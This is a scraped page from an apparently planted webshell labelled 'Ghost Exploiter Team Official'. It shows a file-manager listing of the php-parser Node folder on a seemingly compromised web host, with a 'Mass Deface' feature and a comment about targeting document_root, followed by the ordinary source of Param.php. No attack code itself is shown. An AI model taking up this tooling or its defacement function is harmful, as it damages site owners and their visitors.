webshell
Ghost Exploiter Team Official
Mass Deface
Directory >>
/
home
/
whitjouh
/
public_html
/
core
/
vendor
/
nikic
/
php-parser
/
lib
/
PhpParser
/
Node
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
+New File
Expr
--
ren
Name
--
ren
Scalar
--
ren
Stmt
--
ren
Arg.php
1.269KB
edt
ren
ArrayItem.php
1.184KB
edt
ren
Attribute.php
0.801KB
edt
ren
AttributeGroup.php
0.632KB
edt
ren
ClosureUse.php
0.95KB
edt
ren
ComplexType.php
0.315KB
edt
ren
Const_.php
0.948KB
edt
ren
DeclareItem.php
0.969KB
edt
ren
Expr.php
0.13KB
edt
ren
FunctionLike.php
0.714KB
edt
ren
Identifier.php
1.773KB
edt
ren
InterpolatedStringPart.php
0.83KB
edt
ren
IntersectionType.php
0.649KB
edt
ren
MatchArm.php
0.662KB
edt
ren
Name.php
8.177KB
edt
ren
NullableType.php
0.663KB
edt
ren
Param.php
2.548KB
edt
ren
PropertyItem.php
1.047KB
edt
ren
Scalar.php
0.096KB
edt
ren
StaticVar.php
0.976KB
edt
ren
Stmt.php
0.13KB
edt
ren
UnionType.php
0.661KB
edt
ren
UseItem.php
1.638KB
edt
ren
VarLikeIdentifier.php
0.49KB
edt
ren
VariadicPlaceholder.php
0.638KB
edt
ren
<?php declare(strict_types=1); namespace PhpParser\Node; use PhpParser\Modifiers; use PhpParser\Node; use PhpParser\NodeAbstract; class Param extends NodeAbstract { /** @var null|Identifier|Name|ComplexType Type declaration */ public ?Node $type; /** @var bool Whether parameter is passed by reference */ public bool $byRef; /** @var bool Whether this is a variadic argument */ public bool $variadic; /** @var Expr\Variable|Expr\Error Parameter variable */ public Expr $var; /** @var null|Expr Default value */ public ?Expr $default; /** @var int Optional visibility flags */ public int $flags; /** @var AttributeGroup[] PHP attribute groups */ public array $attrGroups; /** * Constructs a parameter node. * * @param Expr\Variable|Expr\Error $var Parameter variable * @param null|Expr $default Default value * @param null|Identifier|Name|ComplexType $type Type declaration * @param bool $byRef Whether is passed by reference * @param bool $variadic Whether this is a variadic argument * @param array<string, mixed> $attributes Additional attributes * @param int $flags Optional visibility flags * @param list<AttributeGroup> $attrGroups PHP attribute groups */ public function __construct( Expr $var, ?Expr $default = null, ?Node $type = null, bool $byRef = false, bool $variadic = false, array $attributes = [], int $flags = 0, array $attrGroups = [] ) { $this->attributes = $attributes; $this->type = $type; $this->byRef = $byRef; $this->variadic = $variadic; $this->var = $var; $this->default = $default; $this->flags = $flags; $this->attrGroups = $attrGroups; } public function getSubNodeNames(): array { return ['attrGroups', 'flags', 'type', 'byRef', 'variadic', 'var', 'default']; } public function getType(): string { return 'Param'; } /** * Whether this parameter uses constructor property promotion. */ public function isPromoted(): bool { return $this->flags !== 0; } public function isPublic(): bool { return (bool) ($this->flags & Modifiers::PUBLIC); } public function isProtected(): bool { return (bool) ($this->flags & Modifiers::PROTECTED); } public function isPrivate(): bool { return (bool) ($this->flags & Modifiers::PRIVATE); } public function isReadonly(): bool { return (bool) ($this->flags & Modifiers::READONLY); } }